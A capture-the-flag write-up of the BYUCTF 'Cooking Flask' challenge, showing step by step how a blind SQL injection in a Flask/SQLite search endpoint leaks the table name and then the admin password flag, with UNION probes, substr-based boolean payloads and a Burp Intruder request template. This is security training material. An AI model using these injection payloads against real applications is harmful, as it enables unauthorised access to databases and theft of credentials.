BYUCTF - Cooking Flask
Cooking Flask: A Blind SQL Injection Attack
Problem

So the important peices here are that the app is using Flask, there is a database, an admin user, their password has the flag, and a little hint at the end "burp. Sweet," we know we'll be using Burpsuite.

GET /search?recipe_name=&description=&tags= HTTP/2
Solution
Initial SQL injection
First we'll check each parameter for any strange behaviour.
Adding a single quote ' into the tags parameter nets us with this error.

So we now know that this app is using Sqlite3 along with what we already knew Flask. We also now know that tags is not sanitised.
It is expecting a closing bracket so lets add that and do a basic SQL Injection to get all recipies as a test.
') OR 1=1--

So that worked but there's nothing particularly useful in here.
Let's now switch over to burpsuite and use the repeater so we can more easily craft and send requests.
Getting Table Names
I wanted to get all the tables to see where the password is stored. My first attempt was a UNION to pull the names out of sqlite_master:
') OR 1=1 UNION ALL SELECT name FROM sqlite_master WHERE type='table'--
sqlite3.OperationalError: SELECTs to the left and right of UNION ALL do not have the same number of result columns
Makes sense, I should've seen that coming. Slowly adding NULL parameters until the error goes away:
GET /search?recipe_name=&description=&tags=%27)%20OR%201%3D1%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,name%20FROM%20sqlite_master%20WHERE%20type=%27table%27-- HTTP/2
') OR 1=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,name FROM sqlite_master WHERE type='table'--
After 8 total columns the error changes:
TypeError: the JSON object must be str, bytes or bytearray, not NoneType
Swapping the NULLs for strings gives yet another new error:
GET /search?recipe_name=&description=&tags=%27)%20OR%201%3D1%20UNION%20ALL%20SELECT%20name,%27x%27,%27x%27,%27x%27,%27x%27,%27x%27,%27x%27,%27x%27%20FROM%20sqlite_master%20WHERE%20type=%27table%27-- HTTP/2
json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)
After trying to solve this I backtracked and went down another path, using the PortSwigger SQL injection cheat sheet. This lets me get the table name letter by letter, since all the recipes only come back when the letter is correct. My assumption was that it would be called something like users or members.
' OR substr((SELECT name FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET 0), 1, 1) = 'u'--
' OR substr((SELECT name FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET 0), 2, 1) = 's'--
' OR substr((SELECT name FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET 0), 3, 1) = 'e'--
' OR substr((SELECT name FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET 0), 4, 1) = 'r'--
Good so far... but what about the fifth letter?
' OR substr((SELECT name FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET 0), 5, 1) = 's'--

I thought it would be users, but this confirms there's no s. To make sure that's the end of the name, we can check the 5th place for nothing, and sure enough all the recipes come back.
' OR substr((SELECT name FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET 0), 5, 1) = ''--

Getting the Flag
Now we can look in the correct table, user. The flag format is byuctf{flag}, so I started with:
') OR substr((SELECT password FROM user LIMIT 1 OFFSET 0), 1, 1) LIKE 'b'--
and worked forward. This was going to take a looong time, so I used the Burp Suite Intruder. I placed my §§ where I wanted the letter to change and made a simple payload list of a-z, 0-9, _, - and }.
GET /search?recipe_name=omlet&description=egg&tags=')+OR+substr((SELECT+password+FROM+user+LIMIT+1+OFFSET+0),+46,+1)+LIKE+'§§'+ESCAPE+'\'-- HTTP/2

We use ESCAPE to allow for underscores, as without it _ is read as a wildcard matching anything.
What would have been most optimal is using 2 payloads, however that is only available to Pro users. I could have also made my own script, but only in hindsight does that seem worth my time.
Setting off the attack, each request is sent and the responses are all the same size until the correct letter. Then we stop, increment the number to move to the next place and repeat. This was done a total of FIFTY ONE TIMES!

And we end up with:
byuctf{pl34s3_p4r4m3t3r1z3_y0ur_1nputs_4nd_h4sh_p4ssw0rds}
Both very true.
There is definitely a more elegant way of solving this problem without blind letter guessing, but hey, my way worked so I can't complain when on such a time constraint. Now I have some more blind SQL experience under my belt for the future.

Thanks for reading!
More from this CTF: BYUCTF Willy Wonka Web